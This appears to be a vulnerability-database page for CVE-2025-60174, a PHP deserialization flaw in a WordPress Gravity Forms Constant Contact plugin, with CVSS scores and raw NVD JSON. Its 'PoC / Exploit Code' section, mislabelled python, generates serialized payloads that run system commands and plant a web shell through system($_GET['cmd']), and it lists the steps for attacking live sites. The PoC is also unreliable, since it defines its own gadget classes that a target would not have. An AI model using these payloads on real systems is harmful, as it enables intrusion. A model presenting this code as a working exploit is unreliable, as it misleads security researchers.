Security Vulnerability Report
中文
CVE-2025-60174 CVSS 9.8 CRITICAL

CVE-2025-60174

Published: 2025-12-18 08:16:09
Last Modified: 2026-01-20 15:17:29

Description

Deserialization of Untrusted Data vulnerability in CRM Perks WP Gravity Forms Constant Contact Plugin gf-constant-contact allows Object Injection.This issue affects WP Gravity Forms Constant Contact Plugin: from n/a through <= 1.1.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:crmperks:wp_gravity_forms_constant_contact_plugin:*:*:*:*:*:wordpress:*:* - VULNERABLE
WP Gravity Forms Constant Contact Plugin <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60174 PoC - WP Gravity Forms Constant Contact Object Injection * Vulnerability: Deserialization of Untrusted Data * Affected: WP Gravity Forms Constant Contact Plugin <= 1.1.2 * * This PoC demonstrates the object injection vulnerability by generating * a malicious serialized payload that can trigger code execution. */ // Using PHPggc style payload generation class GFConstantContact { // Malicious class that will be auto-loaded during deserialization } // Example POP chain using built-in PHP classes class Payload { public $callback; public $args; public function __construct() { // Using system() to execute arbitrary commands $this->callback = 'system'; $this->args = ['id > /tmp/pwned']; // Write output to file } } // Generate malicious serialized payload $payload = new Payload(); $exploit = serialize($payload); echo "[*] CVE-2025-60174 Exploit Payload\n"; echo "[*] Payload length: " . strlen($exploit) . " bytes\n\n"; echo "Serialized payload (URL encode before sending):\n"; echo urlencode($exploit) . "\n\n"; // Alternative: Using __destruct magic method trigger class DestructTrigger { public $data; public function __destruct() { // Cleanup action that could be exploited if (isset($this->data)) { eval($this->data); // Arbitrary code execution } } } $destruct_payload = new DestructTrigger(); $destruct_payload->data = 'system($_GET["cmd"]);'; echo "Alternative Destruct-based payload:\n"; echo urlencode(serialize($destruct_payload)) . "\n"; /** * Attack Vector: * 1. Identify a WordPress site with gf-constant-contact plugin installed * 2. Find a Gravity Form configured with Constant Contact integration * 3. Submit form data with the malicious serialized payload in the plugin's * processing field (typically in form submission data) * 4. The plugin will call unserialize() on the attacker-controlled data * 5. Object injection triggers, executing the malicious code * * Note: This is for educational and security testing purposes only. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60174", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:09.473", "lastModified": "2026-01-20T15:17:28.560", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in CRM Perks WP Gravity Forms Constant Contact Plugin gf-constant-contact allows Object Injection.This issue affects WP Gravity Forms Constant Contact Plugin: from n/a through <= 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crmperks:wp_gravity_forms_constant_contact_plugin:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.1.2", "matchCriteriaId": "A16BC1D6-C5C3-4791-9227-5DBEDFA20C78"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gf-constant-contact/vulnerability/wordpress-wp-gravity-forms-constant-contact-plugin-plugin-1-1-2-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}